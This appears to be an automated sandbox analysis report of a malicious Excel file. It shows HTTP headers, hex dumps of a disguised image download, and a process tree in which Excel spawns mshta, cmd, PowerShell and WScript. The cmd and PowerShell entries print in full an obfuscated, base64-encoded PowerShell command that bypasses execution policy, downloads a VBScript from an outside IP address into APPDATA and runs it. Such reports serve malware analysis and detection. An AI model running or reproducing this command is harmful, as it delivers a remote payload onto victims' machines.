                                                                                                                                                                Last-Modified: Wed, 27 Nov 2024 11:31:15 GMT
                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                ETag: e22fd63d76605ef6b671c42398cbf6b6
                                                                                                                                                                X-Transfer-ID: yaxfnztfhgjdwin
                                                                                                                                                                Content-Disposition: attachment; filename=new_imagem-vbs.jpg
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:02:03 GMT
                                                                                                                                                                Connection: close
                                                                                                                                                                2024-11-28 10:02:03 UTC3715INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1
                                                                                                                                                                Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
                                                                                                                                                                2024-11-28 10:02:03 UTC8192INData Raw: df c4 54 d1 61 7e f8 15 fb 43 e2 b1 21 8f 43 e1 e4 33 83 40 a9 fc 38 be 83 ec b3 eb 60 6d 46 b6 66 59 18 fa 6b 9e 30 3f 67 bc 14 cd 33 4f a8 57 0c 87 81 ef f5 cf 61 0b 34 76 ad f8 41 ae 7b 60 29 e1 9e 14 9e 1b 03 44 8a 18 5e e0 cd d7 09 2a bb a5 d9 b5 27 d2 38 c7 84 88 c6 b7 ad fb 5e 55 d5 5d 48 2c 0f 5e 9c 60 26 fb 21 8a e4 53 67 8e 05 f5 18 ab 6b dd 26 69 4e a0 96 54 09 1a aa ed 53 c5 10 c0 e2 da e5 95 d9 96 33 b8 df 42 dc 0c ce 7d 3c c8 68 ee e3 93 5c 8c 0d 57 f0 ed 06 b3 42 16 48 4f de 1d bd 2a 83 75 12 78 1f 0e 2f 32 75 3f 66 5d 21 96 3d 2b ca ce 42 ee 5e 36 92 3a 83 df 8c 14 52 48 cd b0 3b 2b 86 e7 92 3f eb 8f e9 75 7a ed 38 2f 16 a1 57 aa 32 df 26 cf 4a 3c fd 70 32 bc 0e 0d 6e 8b c4 c3 b0 29 1c 7f f7 a3 77 55 cf af e9 7c 5a 49 f4 4a 16 25 68 f6 8d
                                                                                                                                                                Data Ascii: Ta~C!C3@8`mFfYk0?g3OWa4vA{`)D^*'8^U]H,^`&!Sgk&iNTS3B}<h\WBHO*ux/2u?f]!=+B^6:RH;+?uz8/W2&J<p2n)wU|ZIJ%h
                                                                                                                                                                2024-11-28 10:02:03 UTC8192INData Raw: ba 77 da d1 48 c4 86 f7 3f 03 81 84 fa 49 e0 da e5 1a 3f 55 2f 3b 49 3e f9 b5 a5 d6 c3 06 88 41 24 c2 47 73 6c 0f aa 99 b2 de 37 36 f8 da 3f 21 88 46 07 7b 70 07 1d b1 0d 36 9d e2 58 b5 60 09 42 9f 52 8e 28 9e 07 ea 46 07 a9 56 b6 26 89 2b ec 78 e9 ed 92 5d 89 a2 68 66 46 97 c4 65 9b c4 8c 52 a8 89 69 86 c1 ef c7 5b 19 a3 a9 79 34 f0 86 8e 31 2b dd 6d 26 80 c0 30 00 59 20 57 b9 ca a9 de b6 18 b0 3d 3d b3 1d bc 4e 78 3c 18 cf 20 06 49 5b 6c 6b 5c 02 6e b9 f6 eb 87 9f 4d e2 6d 0f 99 0e b8 34 86 ed 55 56 af b8 07 03 40 09 37 72 48 f6 ac 29 91 c8 0c c0 0a 1c 57 7f 9e 23 e1 52 6a df 4b bf 56 de b2 68 02 a0 1f 6e d8 fb 80 c4 03 db 03 cc 78 9c 1a d8 b5 5a a7 d3 24 a2 19 54 bc ad b8 10 7d 26 f3 36 46 68 51 95 26 32 2b 9a 65 45 71 c0 e9 76 a0 7f 3c f5 fa d8 47 fb
                                                                                                                                                                Data Ascii: wH?I?U/;I>A$Gsl76?!F{p6X`BR(FV&+x]hfFeRi[y41+m&0Y W==Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G
                                                                                                                                                                2024-11-28 10:02:03 UTC8192INData Raw: ef 3d 2e 97 ed 2f 88 88 f6 45 ab 52 07 3b 55 10 1f 95 01 81 8f 16 87 4d 0e 94 ba a1 27 f8 49 6c 1c ba 57 8f 4c b2 06 50 4f 6a e7 3d 07 88 ec f1 7d 17 df e2 4f 2a 64 94 2e a1 11 4e d2 08 f4 b5 d7 16 45 57 be 63 ea 9b 73 04 e4 8a ae 2b fa e0 66 3a ee 86 c1 b3 d0 8c 17 dd 9b 63 28 16 18 5d 7b 67 a9 7d 3f d9 b5 50 ac be 2a 03 73 e9 f2 c5 f0 3a 58 ca eb 7c 13 4e da 13 af f0 2d 44 ba 88 a2 03 ef 10 cd ff 00 7b 15 8f c5 b6 85 8f 88 f6 3e c7 03 c9 26 9b ca 05 49 e0 0b bf 7c e9 62 67 88 5a 31 65 1c 10 3b 7b 66 ab 03 e4 aa 3a 2f 99 7d 72 8f a5 6d cc 19 d3 72 ae e2 09 23 8e bf 5c 0c 54 0c d1 0d d6 1b bd f7 c9 88 38 9c 39 27 6a 8e 95 9a 6f a0 91 e6 55 52 80 32 ee 00 df 35 ce 28 90 32 44 fa 80 c9 4a 69 97 75 92 a7 8f a6 04 8d 42 ba b8 60 19 4b 28 04 76 eb 83 25 ba a1
                                                                                                                                                                Data Ascii: =./ER;UM'IlWLPOj=}O*d.NEWcs+f:c(]{g}?P*s:X|N-D{>&I|bgZ1e;{f:/}rmr#\T89'joUR25(2DJiuB`K(v%
                                                                                                                                                                2024-11-28 10:02:03 UTC8192INData Raw: 8d b0 70 45 96 61 55 f1 aa fa e7 2f 87 b4 70 69 75 b3 34 91 c8 8b 18 64 07 f0 f6 3f 21 57 66 f8 17 81 82 fa 79 74 f2 98 a5 55 dc bd 76 90 6b f2 ca 58 36 05 9f 7a c6 fe d5 7f d8 b5 71 49 a6 78 ff 00 7a a4 3a b2 d5 95 24 5f f6 f7 eb 98 71 78 ac 61 4d a3 2b 8f c4 07 f4 c0 da 5f 0c d6 16 8c 08 f6 87 1b 95 98 8a ae dd 31 f3 f6 69 59 43 99 cf 99 7d 42 8d a3 df 83 d7 07 e1 da 77 d4 e9 5f 53 2e 9d 67 59 11 4a 9d f7 b4 57 37 ec 40 24 fd 31 99 3c 5f 4f e0 9a 78 e0 d6 c8 5b 50 88 14 a2 7a 88 eb cb 0f e1 1d 39 c0 4a 7f 08 5d 1b 34 93 ce 86 28 dc 29 00 10 5b 8b ae 7d fe 18 b6 9b c3 9f 5e 9a 9d 4a 6d 8b 4e 84 aa 96 70 3e 9c 8e 78 cb 45 a5 d7 f8 ba ae a4 c2 eb 1a 90 11 59 7c bd ca 6c fa 41 e4 8f 8e 69 3f 86 cc 9e 01 26 95 c8 89 49 67 17 27 e1 02 8e da ae 7a 60 79 ef 1d
                                                                                                                                                                Data Ascii: pEaU/piu4d?!WfytUvkX6zqIxz:$_qxaM+_1iYC}Bw_S.gYJW7@$1<_Ox[Pz9J]4()[}^JmNp>xEY|lAi?&Ig'z`y
                                                                                                                                                                2024-11-28 10:02:03 UTC8192INData Raw: 19 1a b4 68 43 0b 61 59 98 da 15 15 fb c0 38 e6 f1 8d 26 91 11 8b b3 9a fe 1f 63 80 74 64 91 37 2a 31 53 d8 e2 ba c6 52 9b 08 b6 3d 3d 58 cc 69 be 06 f2 de 81 04 0f cf 11 8b 46 fe 6d 93 5b 79 2d ef 81 a5 f6 71 1a 1f 1f d1 2c 8b e9 3b bf f2 b6 7b 0d 7a c2 61 91 19 f6 a1 16 c5 78 bc f2 fe 19 a9 8e 0f 12 86 66 f5 05 0c 47 d5 48 fe b8 ef 89 78 82 6a 0e c8 d7 68 61 ef d7 03 2e 17 d6 24 ad 1e 92 56 10 5d ed eb 79 bb a4 90 e9 e0 65 d4 10 c4 7a ac 62 30 4f a7 d2 45 60 1d c4 75 cb 9d 6c 5a 85 01 68 0e 87 8e 4e 06 79 95 df ed 67 9d 1a f4 e0 9f f8 30 7e 2d 3b 3e aa 75 2d 41 a0 5b 00 5d d3 dd 65 d6 45 4f b5 22 98 14 ab 3f f2 11 fd 71 7f 16 dc 75 92 b0 1b 6e 1b 00 71 63 76 06 87 8c 05 fb 94 70 84 11 c4 b2 52 92 a7 9f 4b 61 b4 33 28 f0 b8 5a 45 5a 54 5a bf 82 8c 17 8b
                                                                                                                                                                Data Ascii: hCaY8&ctd7*1SR==XiFm[y-q,;{zaxfGHxjha.$V]yezb0OE`ulZhNyg0~-;>u-A[]eEO"?qunqcvpRKa3(ZEZTZ
                                                                                                                                                                2024-11-28 10:02:04 UTC8192INData Raw: e6 20 f3 f1 19 af a4 d1 ea 16 49 b5 12 6a 44 ac c4 b8 8c 9b 51 c9 ae 48 be d8 07 99 03 c5 2c 2c 68 32 b2 80 bd 79 07 90 6b ae 79 33 1c 53 b2 c8 4c 8a 1b cc de 18 ee 62 55 77 11 74 3a dd 7d 33 77 53 17 8c 3c 12 39 9b 4c bb 48 65 11 b1 05 76 8e 40 f4 f5 26 b3 cb 34 f3 12 0b 3b 5a b9 63 b8 72 59 b8 63 fa 60 13 50 90 23 40 c8 1f 64 8b b8 ef a1 43 73 0a e9 f0 c7 a0 4d 34 9a a8 24 57 68 43 cc c5 d8 90 ca 08 a2 a0 71 fe 6a cc b9 67 69 84 4b 56 51 4a dd f5 f5 16 fc b9 c3 27 88 49 1e 96 18 10 22 94 76 70 db 41 3c 80 39 e3 e1 81 ec 25 89 51 88 25 9a c5 9e 7e 3f 0e d8 34 28 cf b1 08 06 ae 8e 60 cf a4 f1 2d 44 c7 51 26 a2 17 62 80 1e eb 5e d5 55 91 1e 87 5e ae 5a 3d 6c 6a d5 43 6c 8c bc 7c 28 60 7a 38 f4 a1 98 ab 50 e0 ff 00 2c 34 2a 11 42 ec b2 78 bc f3 32 41 e2 ea
                                                                                                                                                                Data Ascii: IjDQH,,h2yky3SLbUwt:}3wS<9LHev@&4;ZcrYc`P#@dCsM4$WhCqjgiKVQJ'I"vpA<9%Q%~?4(`-DQ&b^U^Z=ljCl|(`z8P,4*Bx2A
                                                                                                                                                                2024-11-28 10:02:04 UTC8192INData Raw: 41 65 5b 52 54 55 fa 81 37 96 d4 eb 24 fb c1 78 55 49 3a 76 91 9a 39 03 2e d1 63 93 b6 cf 4f 7c 1a 78 8c 8e 93 07 11 b4 b6 82 30 a4 21 90 30 a0 28 f7 e9 80 6f 1b d4 79 30 ed 54 57 f3 55 94 d8 ed 5d 6e fd f3 e7 9e 35 2b a0 11 59 a2 4f 4e fd 33 e8 5e 27 a6 33 69 c1 44 11 88 a3 67 63 cd 80 aa 68 7b 77 39 f3 8f 15 7f 32 73 62 88 ed f9 60 0f 4b aa 68 b4 b2 69 e4 41 24 4e 37 15 2c 46 d3 c1 bb 1f 2c e8 f5 12 69 22 91 12 32 93 b7 57 37 61 6a f8 07 a6 2a 80 b1 f5 38 8f 8e 2e e8 fe 58 de aa 36 32 09 02 12 bb 23 1b d8 1a bd 8b c7 23 01 ad 0e bd 34 7a 59 10 ab 19 0b 31 0e 2a 88 2b 54 7b f5 e7 15 82 59 20 25 e3 62 ac c2 8d 7b 5d e5 5f 4d 22 2a 99 11 95 5b d4 a4 ad 6e cb 32 88 c2 72 ad b8 5d 2f ce bf a6 01 d2 67 5d 5c 33 4c ec fb 1d 5b fe 10 7a 64 eb e6 4d 56 aa 49 93
                                                                                                                                                                Data Ascii: Ae[RTU7$xUI:v9.cO|x0!0(oy0TWU]n5+YON3^'3iDgch{w92sb`KhiA$N7,F,i"2W7aj*8.X62##4zY1*+T{Y %b{]_M"*[n2r]/g]\3L[zdMVI
                                                                                                                                                                2024-11-28 10:02:04 UTC8192INData Raw: 40 ca a2 7a 8a 28 34 df 1a c0 45 e1 b7 02 c9 07 b9 c3 1f 0f 55 50 c5 e8 9e 98 63 a6 90 96 21 49 0b f8 98 0e 07 d7 2a 60 63 c9 fa 60 5f c3 34 4c 35 8a e4 f0 2f 68 f7 e0 e6 d1 de aa ca 52 ef a1 f6 c5 bc 31 37 6b 34 b6 3f c4 2f fe 1c df 68 d2 e8 d1 c0 c5 8b 4e d4 c5 c5 83 db 10 13 3b 4e ea 84 2a a9 f6 eb 9e 8d c0 5b 00 0e 73 3d b4 a9 6c c1 28 9e b8 1e 76 75 0d e2 e5 b6 02 09 5a 07 e4 32 ba dd 2e c9 03 06 e5 95 8f ab b5 01 8e 6a 60 d9 e2 d4 05 fe 1f e4 32 de 21 18 06 2d e2 ed 5a 8f c6 b8 c0 46 70 cd e1 f1 a2 90 17 68 35 c7 aa ab af e7 8c 78 06 9d 5d e5 76 65 34 bb 76 b7 43 95 78 83 78 7b 12 a3 d2 c0 29 06 b9 a5 07 fa e1 7c 28 c3 19 65 76 2b 29 61 b6 81 37 7c 7f 5c 04 bc 41 25 87 5d 16 f4 8c 32 a8 2a b1 72 28 31 f7 cd 3d 64 03 69 76 92 71 bb d3 b4 30 0a 38 ef
                                                                                                                                                                Data Ascii: @z(4EUPc!I*`c`_4L5/hR17k4?/hN;N*[s=l(vuZ2.j`2!-ZFph5x]ve4vCxx{)|(ev+)a7|\A%]2*r(1=divq08
                                                                                                                                                                2024-11-28 10:02:04 UTC8192INData Raw: d2 a3 93 22 a8 5d c5 95 94 5f 03 76 e0 4f f2 ff 00 87 3a 10 95 24 93 ac 85 59 58 23 21 00 06 1c 8e 3d ac 8f cf 15 77 2e cc cc 6c 93 66 85 5e 05 c6 dd a4 ee 50 2d 7d fd 8e 18 6a 21 54 e0 7f 19 3b 41 20 d5 11 d7 eb 89 76 eb 91 58 0d 3c 81 82 aa 05 04 6e e9 7d 08 f8 e1 a0 96 34 68 dc 95 b0 56 e8 10 78 20 f2 3a 11 43 b7 38 87 d7 0b 02 87 99 11 88 00 b0 04 93 54 30 1d d4 4f 13 ce cc 0a 12 5c 37 01 8d ed be 0d fb fc 30 0d 2a f9 d1 48 68 81 b4 ba 8b ea 38 3f 98 17 f5 c0 48 8c 8c ca c2 98 1a 3c df c7 05 58 1a 49 3c 40 20 b5 4a 0e 4e c0 c7 aa d0 06 fb df d3 20 48 8f 13 2f 99 c2 c5 44 80 7a 97 07 8b e7 11 50 b7 c9 20 51 e9 90 7a 57 eb 80 db ca ad 1b ad d9 2c 9d 01 e4 05 20 9f ce b0 53 32 bd b2 b5 92 ec 7e 9c 56 2f 59 74 0c cc 15 41 26 fa 60 3b 29 54 12 13 20 2c d0
                                                                                                                                                                Data Ascii: "]_vO:$YX#!=w.lf^P-}j!T;A vX<n}4hVx :C8T0O\70*Hh8?H<XI<@ JN H/DzP QzW, S2~V/YtA&`;)T ,


                                                                                                                                                                Statistics

                                                                                                                                                                CPU Usage

                                                                                                                                                                Click to jump to process

                                                                                                                                                                Memory Usage

                                                                                                                                                                Click to jump to process

                                                                                                                                                                High Level Behavior Distribution

                                                                                                                                                                Click to dive into process behavior distribution

                                                                                                                                                                Behavior

                                                                                                                                                                Click to jump to process

                                                                                                                                                                System Behavior

                                                                                                                                                                General

                                                                                                                                                                Target ID:0
                                                                                                                                                                Start time:05:00:59
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                Imagebase:0x13f2f0000
                                                                                                                                                                File size:28'253'536 bytes
                                                                                                                                                                MD5 hash:D53B85E21886D2AF9815C377537BCAC3
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Reputation:high
                                                                                                                                                                Has exited:false

                                                                                                                                                                General

                                                                                                                                                                Target ID:4
                                                                                                                                                                Start time:05:01:24
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\System32\mshta.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:C:\Windows\System32\mshta.exe -Embedding
                                                                                                                                                                Imagebase:0x13f2c0000
                                                                                                                                                                File size:13'824 bytes
                                                                                                                                                                MD5 hash:95828D670CFD3B16EE188168E083C3C5
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Reputation:high
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:6
                                                                                                                                                                Start time:05:01:32
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:"C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                                                                                                                                                                Imagebase:0x4a020000
                                                                                                                                                                File size:345'088 bytes
                                                                                                                                                                MD5 hash:5746BD7E255DD6A8AFA06F7C42C1BA41
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Reputation:high
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:8
                                                                                                                                                                Start time:05:01:33
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                                                                                                                                                                Imagebase:0x13f990000
                                                                                                                                                                File size:443'392 bytes
                                                                                                                                                                MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Reputation:moderate
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:9
                                                                                                                                                                Start time:05:01:43
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline"
                                                                                                                                                                Imagebase:0x13f2b0000
                                                                                                                                                                File size:2'758'280 bytes
                                                                                                                                                                MD5 hash:23EE3D381CFE3B9F6229483E2CE2F9E1
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Reputation:moderate
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:10
                                                                                                                                                                Start time:05:01:43
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES82B7.tmp" "c:\Users\user\AppData\Local\Temp\1012d3sk\CSC185E2CF02A494FD98EB3E2DDFFB62AF5.TMP"
                                                                                                                                                                Imagebase:0x13f8b0000
                                                                                                                                                                File size:52'744 bytes
                                                                                                                                                                MD5 hash:C877CBB966EA5939AA2A17B6A5160950
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Reputation:high
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:12
                                                                                                                                                                Start time:05:01:44
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\System32\mshta.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:C:\Windows\System32\mshta.exe -Embedding
                                                                                                                                                                Imagebase:0x13f1c0000
                                                                                                                                                                File size:13'824 bytes
                                                                                                                                                                MD5 hash:95828D670CFD3B16EE188168E083C3C5
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Reputation:high
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:13
                                                                                                                                                                Start time:05:01:49
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\System32\wscript.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS"
                                                                                                                                                                Imagebase:0xff030000
                                                                                                                                                                File size:168'960 bytes
                                                                                                                                                                MD5 hash:045451FA238A75305CC26AC982472367
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Reputation:high
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:14
                                                                                                                                                                Start time:05:01:50
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                Wow64 process (32bit):false
